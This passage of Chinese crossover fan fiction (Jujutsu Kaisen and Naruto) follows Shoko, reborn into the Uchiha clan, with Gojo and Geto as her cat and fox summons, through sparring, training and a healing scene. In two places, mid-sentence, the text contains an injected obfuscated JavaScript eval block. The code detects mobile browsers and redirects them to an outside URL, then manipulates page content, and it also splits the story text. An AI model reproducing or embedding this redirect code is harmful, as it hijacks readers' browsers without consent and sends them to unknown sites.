五条悟惊奇，然后摩拳擦掌——看着像小猫搓手。 “来！”他大声欢呼。 4. 第 4 章 宇智波斑找可爱的小猫咪打架而不找怪刘海，此乃一胜。 可爱的小猫咪一胜，怪刘海零胜，此乃二胜。 中间懒得说了总之可爱的小猫咪大获全胜。 五条猫抬头挺胸，给夏油杰丢了个得意的小表情，摆出睥睨天下的气势向宇智波斑走去。 然而他现在只是一只幼崽，是宇智波斑都能两个巴掌捧起来的程度——气势是没有的，甚至于斑莫名其妙有种将要欺负弱小感觉。 硝子来到训练场边缘，正巧目送五条悟这一套表情动作小连招。 “……？”硝子在夏油狐旁边坐下，“五条干什么呢？鬼迷日眼的。” “可能是沙子进眼睛了吧。”夏油杰淡然地回应。 朝晖满地，暖阳令体感略微回温，缓和了关节的僵冷。 五条悟和宇智波斑对视着，同时向前小跨半步，身形半蹲，做出爆发前的预备。 簌簌风声应景奏响。 在这段相持里，时间仿佛将一切都拉长为了慢动作，远处从树顶落下的雪宛如凝结在了半空中。 少顷，风止，影动。 两边同时猛烈爆发向彼此冲刺！ 拳掌相接挥出破空声响，眨眼间便是几次交手。 还没发育的小孩和幼崽猫咪看着体型小小，打起来的动静却能惊起气浪，令地面一片飞沙走石。 只是没过几招，宇智波斑和五条悟便同时向后跳开，表情奇妙地分别看着自己的手（爪）。 五条悟是不太习惯自己这个体型。 先不说他从小到大一直是偏大只的类型，成年后更是远超平均生的一米九，就说他现在这个猫爪子，灵活性远不如人类的双臂——重点是短——宇智波斑随便一挥手就能呼在他头上，而他想要打回去就得近乎贴着对方。 宇智波斑则感觉自己打上去的手感很奇怪。 像是被什么东西排斥了一样，卡在某个距离就无法接近了。 “这是你的能力么？”宇智波斑探究地问。 考虑到咒术这种东西讲起来实在麻烦，五条悟决定给自己换个说法。 ——所谓出门在外，身份能力是自己给的。 于是斑看见，眼前的小猫咪突然做出深沉的表情，一时间好像周围的光都暗了，唯有一束不知道哪来的聚光灯直直地笼罩在五条猫头上，只等着他的表演。 “不，这是我从出生起就自带的诅咒。”五条悟佯作抹泪状，“它保护着我，为我阻挡伤害，但它也令父母无法触碰我，令朋友无法接近我，以至于我一直形单影只直至今日。恐怕这样下去，直到我殒命之时也只是孤身罢。” …… 夏油杰是不太清楚自己死后具体发生的事，但硝子微妙地觉得五条悟好像演了个自己的地狱笑话。 …… 宇智波斑大脑空白。 理智来说他觉得是假的，毕竟夏油杰和硝子就在旁边坐着呢，然而感情上总觉得这么惨万一不是编的呢。 “……嗯。”斑不太连贯地开口安慰，“至少你现在已经有了硝子她们作为同伴，而我也可以和你成为朋友。” ？信了？ 五条猫战术后仰。 他想说什么，然而斑已经快速略过了这个话题：“总之就是，你的这个能力可以保护你不受伤害对吧？” “是啦——”五条悟不情不愿收起戏瘾。 斑发出邀请：“那么要收起试探，更认真的打一下试试吗？” “？来！”五条猫从不拒绝战斗！ 见五条悟的戏结束，硝子收起【帐】，夏油杰收起聚光灯咒灵。 宇智波斑没忍住，又来回看了小猫咪和硝子他俩好几下。 ——就是因为这个莫名其妙的特效，他才觉得五条悟的话很有水分。 随着【帐】被收起，被隔绝的风声鸟鸣倏尔清晰起来。 “轰——！！” 没有任何预兆，宇智波斑一瞬间抬手扔出几发手里剑，而五条悟也同时发射了[苍]—— 亮蓝的球状引力团碾碎了斑留在原地的分身，卷起一地碎土；而宇智波斑本体化作被掷出的其中一支手里剑，在五条悟察觉不对跳开的一瞬间集中查克拉轰击地面！ 一时间播土扬尘，训练场一地狼藉。夏油杰驱使咒灵阻挡飞石，硝子则打开了写轮眼，两辈子第一次那样聚精会神的汲取战斗技巧。 一击不成，宇智波斑没有为被轰击出浅坑的地面分出半点注意力，毫不迟疑地转身结印： “火遁·凤仙火之术！” 如凤仙花的种子一般，数量众多的火焰团藉由查克拉的控制有意识地飞散于四面八方，借助扬起的碎石土块来创造视觉死角进攻。 原本，六眼与查克拉也不相容，然而五条悟现在是硝子召唤出来的。 尽管现在的眼睛远远比不上原世界清晰和功能多样，但利用三百六十度的视野识别隐藏的不同能量团还是绰绰有余。 五条猫灵巧地跃起，踩着下落的土块借力变向，每一颗火球都险而又险地从身侧擦过，将他的身体映出热烈火光。 几次五条悟几次闪转腾挪，不着痕迹地靠近宇智波斑，直到某个距离—— 他出其不意地瞬移至宇智波斑身后，抬手就是一个瞬发的[苍]！ “什……？！”宇智波斑甚至回身都来不及，直觉性地在五条悟失去身影的下一刻就使用了替身术—— 作为替身的木桩眨眼间被轰击炸开！ 宇智波斑看过去时，原地只剩下四分五裂的木块。 “……” 他看得出来五条悟收了点力。 斑自然理解这是为了避免对练成结仇，但不妨碍他心中好胜心的烈焰将火药般的战意点燃，高亢情绪似浩荡浪潮席卷全身—— 宇智波斑大腿肌肉鼓胀，将查克拉集中于下肢，以将地面踏出裂痕的爆发力向五条悟的位置上空冲刺！ 五条悟看见高速跃起接近的宇智波斑每个指尖都夹着手里剑，双手一晃，在投掷的瞬间又多出一排。 “火遁——” 斑甩手将武器以精妙的技巧丢出，四散开来又巧妙地封住各种脱逃路径。 “——凤仙花爪红。” 火焰附着在每一把飞出的武器上，仿佛凤仙花于风中旋转散落。 随后斑又迅速变招，比起同龄人更庞大的查克拉量支持着他的行动： “火遁·豪火球之术。” 直径有两人高的巨大火球紧随其后，向着地面坠落。 灼灼红莲倒影于五条悟如澄澈天空般的眼瞳，他说： “[苍]” 另一个与火球同等大小的引力团生成，爆发的气浪彰显其不容忽视的存在感。 随着两方碰撞，炽热余波扫遍场地，烟尘与浓雾滚滚弥散。 片刻后，一切动静归于沉寂。 宇智波斑和五条悟分别从黑烟的两边迈步而出。 斑的脸上身上除了些尘土和细小到下一刻就能愈合的擦伤便没什么其他的，而五条悟更是干干净净一只小猫咪。 只是在五条悟保持着警觉，跃跃欲试地想进行更进一步的对抗时，宇智波斑却先收了力。 他还没有忘记母亲的交代——今天的重点是规划硝子的训练，而对硝子通灵兽的能力摸底以这种程度已经足够了。 除此之外，在判断出五条悟收力的刹那，斑便不认为今日的自己拥有纯粹的胜负结果。 毕竟谁会在面对绝对优势的强者时还保有“要小心别让对方重伤”的念头？ 五条悟还有些疑惑地看着疑似放弃的宇智波斑。 “怎么了——？”向左歪头。 “不打了吗——？”向右歪头。 “我认同你可以保护硝子了。”斑平静地说。 “我当然可以！”五条悟下意识嚷嚷，然后又傻眼，“诶？真不打了？为什么？你的眼睛呢？那个什么写轮眼呢？” “……”宇智波斑陷入沉默，然后撇过头大声解释，“我还没开眼！但我迟早会开的！” “……” 什么，他居然在跟一个天赋还没开的小孩打架！ 五条猫大震撼！ 注视着小白猫恍恍惚惚地向场外走来，硝子起身，拍了拍裤子上的尘土，向场内走去的同时背对着夏油杰挥手：“我过去咯。” “加油哦。”夏油杰回复。 小狐狸目送硝子进场，走得越来越远，而五条猫与她擦肩而过，尾巴扫了下硝子的小腿权当鼓励，随后朝着夏油杰的方向踱步前行。 “没事的，悟。”夏油杰不知道安慰了个什么，“虽然宇智波斑没开写轮眼，但你也没办法用这个削弱版术式顺转以外的能力呀。” 五条悟：猫猫，宇宙.jpg 斑在略有些坑坑洼洼的训练场中央等着妹妹。 “你的另一种通灵兽也有同样水平的能力么？”斑以眼神示意夏油杰。 “他不太一样。”硝子捏着下巴。 “不一样？” “虽然目前实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845753|175770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力差不多，但他能力更多样。”硝子神神秘秘地说，“是宝○梦大师！是哆啦○梦！” 上辈子搜集了几千只咒灵呢，里面有不少能力奇奇怪怪的也很合理吧。 “……”斑总觉得自己怎么好像理解不了硝子的话，难不成五岁的年龄差就已经到这种程度了么？ 不过他听懂了“实力差不多”。 “那么，”斑回应，“有他们俩保护的话，你就有更多余裕来提升自己了。” “……比如？”硝子谨慎的试探。 “比如花更多时间在体能和基础身体素质上，其他的战斗技巧可以拉长时间慢慢教。” 硝子的表情变得快升天一样安详。 当日轮攀上中天，漫长的上午终于宣告终结。硝子趴训练场上宛如一滩融化的蜡，没剩下半点移动的力气，整个人又扁又软还滑手。 五条猫和夏油狐新奇地围在硝子两边，难得看见对方狼狈成这样。 夏油狐甚至用尾巴尖戳了戳硝子的手臂，却没得到任何回应。 五条悟看这场景灵光一闪，即刻开始配音：“「杰」推了推硝子。” 夏油杰一愣，茫然地伸出肉垫轻轻推了下硝子。 五条悟抑扬顿挫：“没有回应，看来只是具普通的尸体。” 所谓三人组必有吐槽役，夏油杰终究是逃不开这个坑：“……为什么突然就冒出来了RPG旁白啊。” 真幼稚。 硝子默默地想。 这种幼稚是因为身边只有同龄好友而没有小辈，还是因为这是了无牵挂的异世界，又或者是受到了身体年龄的影响？ 硝子在疲惫中，思维发散性地开始推敲各种东西。 斑半蹲下身，将发呆的硝子挂在背上，向家的方向返程。 正午阳光正好，冷冽的微风携着院子里的草木气息闯入室内。华织倚在会客室的墙边读书，忽然听见大门口开关的声音，以及长子略显沉重的脚步声。 她从会客室的门口探头观察，看见斑背着灰头土脸昏昏欲睡的硝子从拐角处出现。 “哎呀，累成这样么？”华织轻轻挡嘴，小声感叹。 “她的基础不太好，但通灵兽的能力还不错。”斑回忆着早上的内容，讲述给母亲听，“所以我让她从大量的基本功练习开始了。” “这样啊。”华织从斑的背上伸手接过硝子，丝毫没有在意自己才换过的干净衣服又被蹭脏，“你和硝子的午餐饭团都在桌子上，看硝子这样子，应该是没有动力换洗吃饭了，接下来就由我照顾她，你去吃吧。” 斑点点头。 华织托着硝子前往洗浴室，女孩的头软塌塌地搭在她的颈窝，一副迷离得马上就要睡去的样子。 女人动作轻柔地将硝子全身都擦洗了一遍，换上干净衣服，甚至还轮流把候在外面的小猫咪和小狐狸都抓去清理了一下。 最后三个人全身干干净净又香喷喷的，好像能反光一样，分别被塞进了自己的窝。 硝子一沾枕头就陷入深眠，一副要沉睡到天昏地暗不知清醒为何物的模样。 五条猫和夏油狐隔着高低差面面相觑。 华织女士，动作轻柔温和，但回过神来就发现自己已经被她安排完了。 此女恐怖如斯。 莫名也困起来的两只迷迷糊糊地想。 硝子一觉睡到了傍晚，醒来时，脑袋带着些睡久了的眩晕钝痛。 屋子里很黑，但透过面前敞开的窗户，能看见其他错落排布的屋中亮堂的光。然而这点光比起现代社会中，那五彩斑斓五光十色有时堪比光污染的炫彩霓虹，还远远难以望其项背。 于是圆月清辉携着亮色闯入房内，漫天星海显露其恢宏真身。 冰凉无形的气流将发丝荡起微微的弧度，带走了大脑的混沌，还来灵魂的清明。 消耗一早上还错过午餐，硝子只觉得胃里空空荡荡，很久没这么饿过了。 她决定前往餐室，还没忘记带上因为动静半梦半醒的俩家伙。 时间正好卡在晚餐做得差不多的点。 在族内图书室待了一天的泉奈微笑着打招呼：“晚上好，硝子。休息得如何？” “晚上好，泉奈哥，我感觉还不错。” 硝子神清气爽（锻炼后劲还没怎么显现出来）地回应。 “斑哥说明天给你安排的是更偏向于恢复性的训练，所以力度不会很大。”泉奈说到这里笑意浓了些，“母亲希望我们明天下午一起去为家里添置些东西，你愿意吗？” 5. 第 5 章 听着泉奈的话，硝子莫名回忆起自己前世看过的一档节目。 当时她刚结束半个月的连轴转，消除得了眼下的黑眼圈却去不掉精神上的疲倦，二十出头的年纪沧桑得宛如三十年社畜。 她瘫在家中沙发上，什么都不想做。 只是当初冲着清净和隔音完备买的房子，如今确实有种将一切都隔绝了的感觉。没有汽车引擎的轰鸣声，没有风吹草木的簌簌声，什么都没有。 硝子在医务室待着的这段时间里，已经完全习惯了耳边空调呼呼作响的白噪音，结果现在反而对这种安静感觉不自在了起来。 于是她打开空调又打开电视，闭着眼睛随便乱按了几下。 “让收养的孩子和家庭成员们一起去为家里添置必需品，既能够促进彼此的感情进展，又能够通过为家庭做贡献的方式加深集体间的联系。”屏幕里，样貌亲切的女主持人热情洋溢地介绍。 “……？” 硝子茫然地睁开眼。 只见电视里似乎是个访谈节目，上面有一对父母正在用自己拍摄的视频，分享他们收养孩子后是怎样让ta融入家庭的。 滴。 硝子没什么兴趣地换了台。 她对独身生活很满意，不喜欢也没有精力养小孩。再加上恶心老橘子总是试图威逼利诱她生小反转术式，催得多了就容易逆反心起，令她对“孩子”这种话题格外缺乏耐心。 谁能想到就这么一段硝子自己都很惊讶居然还能想起来的话，还能在转生之后给用上了。 作为被收养的孩子来看，硝子只觉得华织女士明明没有任何前例经验，却从见到她起做的每一件事、展现的每一种态度都堪称完美，实在可以称之为天赋。 翌日。 硝子浑身酸痛阴气森森地早起了。 五条悟锐评：这是比特级咒灵更想毁灭世界的一集。 泉奈清晨带着硝子昏昏沉沉地绕圈跑步，早上目送硝子步履沉重地和斑一起迈向训练场，中午见硝子宛如丧尸般被半拖半架地拉扯回来。 直到下午，经过修整后的硝子才有了点精神。 她随意从衣柜揪了几件衣服，哪个厚实就往身上套，身上的不适令她没有半点打扮自己的兴致。 好在宇智波族服多为深色，版型样式也不多，怎么搭配都难看不到哪去。 离开玄关，泉奈和硝子一路走在族内小道上。 山寒水冷，呵气成霜。 硝子将下半张脸埋在围巾里，和泉奈有一搭没一搭地聊着天。 忽然，前方的房子传来砸门的重响！ 一个小女孩要哭不哭地闷着头就跑远，而后面有位男性试图追出去喊住她，然而又顾虑地朝房内看看，陷入了两难的境地。 “……什么情况？”硝子小退半步，不是很想加入这种情感大戏。 “那是……”泉奈回想了一下而后确信地说，“叶月阿姨——就是你在医疗所治疗的女士——的家。跑出来的应该是她的女儿夏未，今年刚满四岁。在门口的男人是她的丈夫信一叔叔。” “诶？”硝子一愣。 那样年轻居然都有孩子了？ 硝子恍然意识到这是个高魔高武的动荡时代，人们普遍死得很早因此结婚生育得也很早。 只是她上辈子正值经济下行，整个社会结婚率和生育率都低得可怜。而除了歌姬冥冥外，和她关系亲近点的咒术师们更是死的死死的死，算来算去好像没几个结过婚的，以至于她总觉得这种东西离自己很远。 “不。”五条悟听完硝子的感叹，补充了一句，“现在也很远吧。无论如何要是真有人给现在的你找结婚对象也太不是人了。” “就连悟都这么说呢，硝子要注意啊。”夏油杰语重心长。 五条悟：？ “什么叫[就连我]啊杰，我可是完美老师gojo！会提醒女学生注意安全的那种哦？！” 硝子：…… 她偶尔会想，这两个人究竟是真在给建议，还是自己又成为了他们开始相互呛嘴的理由。 无视了说着说着就开始了互相扒拉，然后打得毛毛乱飞的两只小动物，硝子问泉奈：“你想去看看么？” “我……想的。”泉奈犹豫着回答，他注意到了硝子的后退，有些顾虑她不太情愿，“我和斑哥平日受过信一叔叔的关照，所以我想去看看能不能帮忙。” 然而他总觉得，不管是抛下硝子独自过去，还是带着硝子过去，两种选项都不太合适。 ……还是说干脆不去…… “那走吧。”硝子无所谓地迈步向前。 “诶？”泉奈停下了纠结。 硝子微笑：“我只是不太想介入什么复杂情感问题，但待会是你来交流的吧？” 没什么理由，但泉奈莫名觉得，硝子是被他那句“受过关照”说动的。 “当然。”他温和的说。 宇智波信一有些无措地站在门口。 妻子叶月刚刚和女儿夏未吵了一架，当然，这很正常，哪有父母孩子之间没爆发过冲突的呢？但看见年仅四岁的女儿跑了出去，他便焦虑起来，很想追上。 只是另一边被气得摔上房门的叶月，截肢多年的腿刚刚恢复，还没有办法支撑她自如行动，宇智波信一不可能随意放她一个人待着。 正当他进退两难之际，看见了泉奈——他常常见面的族长次子——带着一个女孩向他走来。 女孩留着短发，旁边跟着一黑一白两只小动物，不知为何毛发看着有点乱。考虑到族内流传的消息和妻子的描述，宇智波信一对她的身份已经有所猜测。 泉奈果然向他介绍了宇智波硝子。 “硝子。”尽管心中的忧虑正愈演愈烈，宇智波信一依旧选择先向硝子道谢，“我是叶月的丈夫，真的非常感谢您治疗好了她。” 他半跪着，深深低下头颅：“我们会在几天后上门正式拜谢。” 硝子的嘴张开又合上，有些应付不来这种情况，好半天才憋出了一句：“……不客气。” 似乎看出硝子一副想要立刻离开现场的表情，信一轻轻微笑，将目光投向泉奈：“你是看见我们的动静了吗？” 泉奈点点头，又补充：“我拉着硝子过来想看看有没有什么需要帮忙的。” 意思是接下来跟我说话就好。 想到跑走的女儿，信一的眉头又皱起来：“夏未和叶月起了点冲突，但我没法同时顾及两边。” 泉奈想了想，低声问硝子：“你愿意接下来和我一起去找夏未吗？” 硝子不甚在意地点点头。 五条悟这灵感又来了：“玩家[泉奈][硝子]接受了[宇智波信一]发布的任务——【寻找失踪的宇智波夏未】。” 夏油杰想了想，翻找了一下久远的、高专时期的游戏记忆：“任务描述：宇智波夏未是宇智波信一的女儿，年仅四岁，绑着高马尾，跟母亲吵架后因愤怒离家出走。为了不让可怜的父亲担心，请玩家迅速找到她吧！” 硝子抱怨：“这游戏地图也太大了，垃圾任务策划怎么不给个搜索范围。” …… 泉奈看着这三个人自成一体的聊天体系，回忆起昨天傍晚他回到家时，斑有些茫然地问他“听不懂妹妹和通灵兽的对话是不是说明自己已经跟其他同龄人有代沟了”。 当时的泉奈觉得这只会是没听清而不可能听不懂，他们这代孩子之间的潮流趋势都尽在他的掌握之中，他可以确定斑哥没有错过任何东西。 然而现在泉奈终于理解了，并且想对兄长说： 不，这纯粹是妹妹和通灵兽们之间特有的默契和语言，斑哥没有任何问题。 细雪纷纷扬扬。顺着最后看见宇智波夏未身影的小路一直走，越过中途的各种分叉口，在道路尽头，族地外沿的森林边线，一个小小的身影抱膝坐在树边。 泉奈和硝子上前。 夏未警觉地看着向自己走来的两人两动物。 她自然认识常在父亲身边出现的泉奈，一眼看出这个平时没太多交流的陌生哥哥绝对是被父亲拜托了来找人。 夏未有些抗拒地将眼睛移向旁边的女孩，然后迟疑。 目光从硝子脸侧泪痣移动到短发，又转落到旁边的通灵兽，和信一如出一辙的脑回路令夏未和父亲得出了相似的结论。 “宇智波硝子……？”她主动提问。 目睹夏未的全套神态变化，硝子和泉奈对视一眼。 男孩主动止住脚步，转身向另一个方向去，打算买两盒糖再看情况出不出现。 硝子则无奈地带着五条猫和夏油狐来到夏未面前：“是我。” “你好，硝子。谢谢你治好了妈妈。”还在对母亲别扭的小女孩认认真真道谢。 硝子挑眉，感觉这小姑娘被教得很好。 上辈子那些自诩身份高贵礼仪完备的老橘子就远远比不上，不仅不会说谢谢，还总想白嫖她。 夏未的表现令硝子多了些耐心，挥手放生蠢蠢欲动想去树林里探险的五条悟和夏油杰后，自己坐到女孩旁边： “你和叶月女士为什么吵架？” “我……”夏未踌躇。 她看着还算主动和活泼，但实则是个比较难以让人进入内心的孩子。一般情况下，如果有个刚见面的人想要了解她的家事，甚至会令她感到些许冒犯。 但这个人是硝子。是母亲的恩人，是家庭的恩人，是她的恩人。而且硝子看起来一直是平和的，冷静的，有着和其他这个 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“为什么呢。”女孩抱紧双膝，“因为我前几天，偷偷听见了教导我们这批孩子的老师们的聊天。” “他们说，”夏未的视线垂落在地面，没有做出任何回应性的动作，仿佛接下来的内容已经在她心中循环过不知道多少遍，以至于无需任何思索便能复述，“「夏未是个天赋一般的，要再努力些才好啊。」” 硝子仔细观察女孩的表情，意外发现她只是表情有些低落，并没有哭。 “你知道的，突然就要让人接受自己的平庸也太难了。”夏未甚至皱着眉头勉力微笑，“所以我愤怒地开始努力。” “我原本很喜欢看书，也喜欢模仿着书里的描述写写画画。 “然后全部放弃掉了。 “我想要大力提升自己的战斗能力，给老师看看我是个超级天才。 “最后我难过的发现，老师看得很准。同样的招式，我总要花费同学们两倍以上的时间才能学会。” 夏未说着说着，眼神放空，比起说给硝子听，更像是不愿意接着将负面情绪全部倾倒给她，于是转变为细小的自言自语。 “老师的话不是讽刺，那只是个给同伴的教学建议，他甚至并没有要说给我听。 “母亲其实没要求过我努力成什么样，只是单纯希望我自保的能力越强越好。但她和父亲都说过会一直保护我，所以我即便不够强大也没关系。” “是我在抵触那种无论怎么努力都不得要领的感觉，也连带着抵触一切战斗相关的话题。” “只有我不对。只是我不对。” …… 少顷，雪止。 夏未突然放开手，撑着地面站起来。 她拍了拍身上的积雪，向硝子伸出手，露出活力开朗的笑：“谢谢你的耐心，硝子，听了我好长一段时间的抱怨。我能够和你成为朋友吗？” 硝子伸手拉住她，默许般微笑。 泉奈见远处的两个女孩似乎结束了谈话的样子，带着两盒糖几个跃起就去到她们面前，一人一个小盒子分了出去。 五条猫和夏油狐也慢慢悠悠走出来。 硝子看见他们，顿时就一个战术后仰。 只见五条猫身上干干净净，迈着六亲不认的步伐，而夏油狐身上全是泥点子，好像有什么东西大力砸进泥坑后将他波及了一样。 ——是被什么东西波及的呢？好难猜啊。 顺着原路向族地返程，踏过薄薄一层松软积雪，夏未站在家门前对硝子用力挥手：“我会经常找你玩的！” 泉奈和硝子同行，回到最初的目的——帮家里买东西。 “是成为朋友了么？”泉奈温和地询问。 “算是吧。”硝子回答，“她很活泼呢。” 五条悟用仅三人可听的声音蛐蛐：“听起来好像歌姬，硝子可不要干什么找替身的事情哦！” 夏油杰：…… 他无语了一下，但是又顺着五条悟的话接：“甚至发型都和高专时期的冥冥一样，硝子也很怀念她们吧。” “……”硝子露出死鱼眼，“我可不是你们这种人渣，随随便便就会想到搞替身上去。” 她甚至进一步指指点点：“人不会突然想到自己不熟悉的东西，说，你们是不是已经变成糟糕的大人了？受害者在哪，我要联合她们把你俩抓起来。” 五条悟申冤：“你知道的，我一直是学生的好老师，才不会干出来这种不利于青少年身心健康的剧情。” 夏油杰也申冤：“你知道的，我身边养了两个女儿，绝不会搞什么不利于她们成长的戏码。” 硝子：。 6. 第 6 章 硝子的新生开始于岁暮天寒之时，而今已跨过最冷的三个月份，冰雪随时间消融，芽苞于枝头初放。 族内的各种委托增加，死伤者也数量渐起。 硝子逐渐忙碌，好在其他医师还照顾她是个小孩，没真让她把工作接过去。 在忙碌的空闲中，硝子坐在医疗所外墙角落，对五条猫和夏油狐吐槽：“这个世界的医疗条件已经要把我都变得粗糙起来了。” 夏油杰附和：“确实，药物种类也不多。” 五条悟精准总结：“治疗手段从科班医生变军医了吧，反正就环境条件来说也差不了多少。” 硝子幽幽地：“要不是有反转术式和查克拉，真担心这些忍者们会不会创口发炎感染啊。” “硝子——！”夏未拿着午餐，欢快地冲好友打招呼。 本就是算好时间提前等在门口的硝子，抬头微笑，伸手接过。 三个月的时间足够活泼的夏未带着硝子混熟，又恰逢任务增多，两家便默认般地在有人空闲时将俩小孩一起关照了。 这次的午餐由刚刚回来的信一提供，夏未与有荣焉地介绍：“父亲在你的那份里面没有放甜食，全是你会感兴趣的类型哦！” 硝子其实在开始锻炼以后，也吃过不少甜食来快速补充能量，平日也没有特意表现过对食物的偏好。 但这瞒不过真正有意愿关心她的人，尤其是感官敏锐的忍者们——比如她的新家人们，比如夏未一家——什么吃的多些，什么吃的慢些，并不是很难发现的东西。 就连五条猫和夏油狐都被摸出了喜好，给他们准备的分别是一些甜口食物和味道清淡的食物。 两人两动物随意地席地而坐，边慢悠悠地吃饭边聊天，享受难得的放松时刻。 “咚咚咚咚——” 忽然传来急迫沉重的脚步声，听起来有些熟悉。 硝子循声望去，见斑背上挂着一个血流不止的男孩，神情焦虑，急如星火。 “那是……”夏未站起来辨认，“火核？” 硝子立刻放下饭盒，而注意到妹妹位置的斑也加快速度，几息间来落到硝子面前，两人一起快速往医疗所内冲。 夏未细心封好硝子还没有吃完的饭盒，忧虑地看着医疗所的门。 五条悟在斑接近时打量了一下火核的伤势，上下看看感觉硝子救起来绰绰有余，便不再关心。 夏油杰看着五条悟的反应意会了情况，也仅仅是多派了只警戒型咒灵跟上。 一路跑到空着的病床前——经忍不了的硝子改良调高后的版本——斑小心翼翼地将身后的男孩放下，紧张地看着打开写轮眼观察情况的硝子。 “没什么问题，用不了多久就可以结束。”硝子很快给出结论，带着奇妙的镇静感，令斑都不由自主将情绪缓下来。 火核浑身上下最严重的是腹部的一道伤及内脏的锐器伤口，一般来说很需要抢时间救治还可能出现各种并发症，但好在这是个有超能力的世界，对硝子来说算是挺简单的情况。 硝子一边拿着手术器械——同样是她带着五条悟和夏油杰一起改良的——有条不紊地切除伤口内的碎屑烂肉，一边还能和斑搭话：“是发生了什么吗？” 斑莫名觉得硝子此时五岁的身体里住着一个从医三十年的灵魂，看起来相当游刃有余：“我们接了一个小贵族给的任务，要求是保护他的安全。任务里没有提，那个贵族也仅仅只说自己觉得自己有危险。” 斑的表情低沉下来：“我们原本认为，或许又是一个动不动就感觉自己不安全的贵族随便下的任务，没想到他的敌人雇佣了两个……千手的忍者来刺杀。” 硝子的余光注意到斑在提及”千手“时短暂地打量了自己一下。 “是么，你们怎么应对的？”她思索着，接话得不太走心。 斑的动作看起来很像在担心她受到刺激。 为什么？ 硝子忽然意识到自己忽略了点东西。 在穿越来的那个战场中，对战的两方是宇智波和谁呢？ 原主肯定是知道的，但对方留下来的那点常识，既让硝子本能地觉得自己也应该知道，但实际上又仅限于不会让硝子在新世界两眼一抹黑，并没有详细到整个记忆的方方面面。 其他人也默认硝子是知道的，甚至念在对方失去父母，有意避开了日常生活中的提及，就连不得不谈到时都会快速略过，以至于硝子一直没发现“千手”和其他敌对家族的区别。 原来如此，是千手。 硝子想。 耳边是斑接着叙述的声音：“那边的任务大概是一击刺杀后就撤退，看来并没有要将我们这边的委托人杀死的意思。那两个千手实力不弱，火核与其中一个过招时被连伤几下，又在最后关头给委托人挡了一刀，身受重伤，对方却没有补刀的意思，直接离开了” 硝子听着描述，手上动作不停：“委托人就这么放你们离开了？” 斑撇开脸，知道自己的表述或许不太尊敬，以族长长子的身份来说并不合适，声音小了些：”那个人原本不想管火核死活，是我又联系附近的族人赶过去替班后才放行的。“ “是么。”硝子开始使用反转术式，同时冷淡地评论：”倒也不太意外。“ 斑微妙的感觉，硝子好像对贵族的态度比他更不以为然。 会是错觉么？ 他想。 不是的话，在这个世界可太过于挑衅了，有些容易出事。 “至少在外人面前，还是要保持一点尊敬比较好。”斑提醒。 斑的敏锐度略微出乎了硝子的意料，她保持着输出反转术式的动作，微微偏头浅笑：“放心吧。” 区区应对烂橘子，经验有的是。 待到太阳越过头顶最高点，开始倾斜下落后，硝子懒懒散散地跨出医疗所门口。 斑跟随在后方，对上前迎接硝子的夏未和俩通灵兽点点头，没有多说什么便启程赶往委托人的位置。 硝子接着坐下来吃饭，夏未高兴地向她分享自己看的新书内容和自己的创作构想。 她一边吃一边听，偶尔还能给女孩的天马行空给点评论。 待到一餐结束，夏未收拾好盒子，挥手向硝子告别，打算开始自己的当日训练。 硝子目送她远去的轻快身影，将目光投向两个也将要开始“族地每日支线”的家伙。 “你们下午什么安排？去训练场吗？”硝子问。 五条猫即刻举爪：“先去甜品屋蹭点心再去训练场！” 夏油狐：“……就是这样。” 硝子回忆了一下：“我怎么记得你们之前的安排也差不多。” “因为很无聊啦。”五条猫甩着尾巴，”硝子又不能被轻易放出去做任务，族地又差不多全都探索一遍了。“ 硝子目移。 在努力了，在努力了。 “是有什么事情吗？”夏油杰贴心地将话题拉回去。 硝子顺势将在医疗所内和宇智波斑交流的内容叙述一遍。 “单是打听战场情况倒是很简单啦。”五条悟说，”但你不都猜到是千手了，知道其他东西要干什么？“ “确认一下猜的对不对。还有……”硝子罕见地有些拿不准自己究竟要做什么。 “报仇？”夏油杰提供了一个思路。 “……” 性格与经历所致，硝子的感情波动大部分时候不算很多，报仇这种激烈的念头就连原主本人都没有留下，连带着她也没往这个方向想过。 报仇要做什么？ 朝谁复仇？ 【硝子】需要这个么？ 得先要了解战场实际上究竟是什么情况，敌人是谁，能力如何，为什么会做出这种同归于尽的策略…… 最后她只是说：“总之，能知道多少就告诉我多少吧。” 五条猫向硝子和夏油狐伸出两只前爪，示意击掌。 “啪！” 清脆的相击声后，五条悟语气正式又兴奋地宣布：“玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845755|175770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家[悟]、[杰]接受了医生[硝子]的任务，决心启程为对方找到战场的真相！” 硝子回到医疗所工作后，五条猫和夏油狐很快定好了任务流程—— 他们俩的本体打听宇智波族内的情况，夏油杰则贡献他的宝○梦们去试试能不能打听到千手那里的消息。 “宝○梦打码是怕被任○堂法务部找上门么，明明都异世界了。”夏油杰吐槽，同时抬手召唤出来了好几只涵盖了包括但不限于隐匿、逃窜、窃听、记录、眩晕、催眠等各种探听情报小伎俩的咒灵，每只都本体不强，但人为将他们组合在一起就不一样了。 五条悟看着夏油杰搭配咒灵的动作，突然感概：“杰，你是哆啦○梦吧。” 夏油杰动作一顿，盯着眼前奇形怪状的东西几秒后，说：“哆啦○梦的道具长得才不会这么恶心。” 待在宇智波族地内的人少了，千手的情况更是两眼一抹黑，除了名字什么都不清楚。 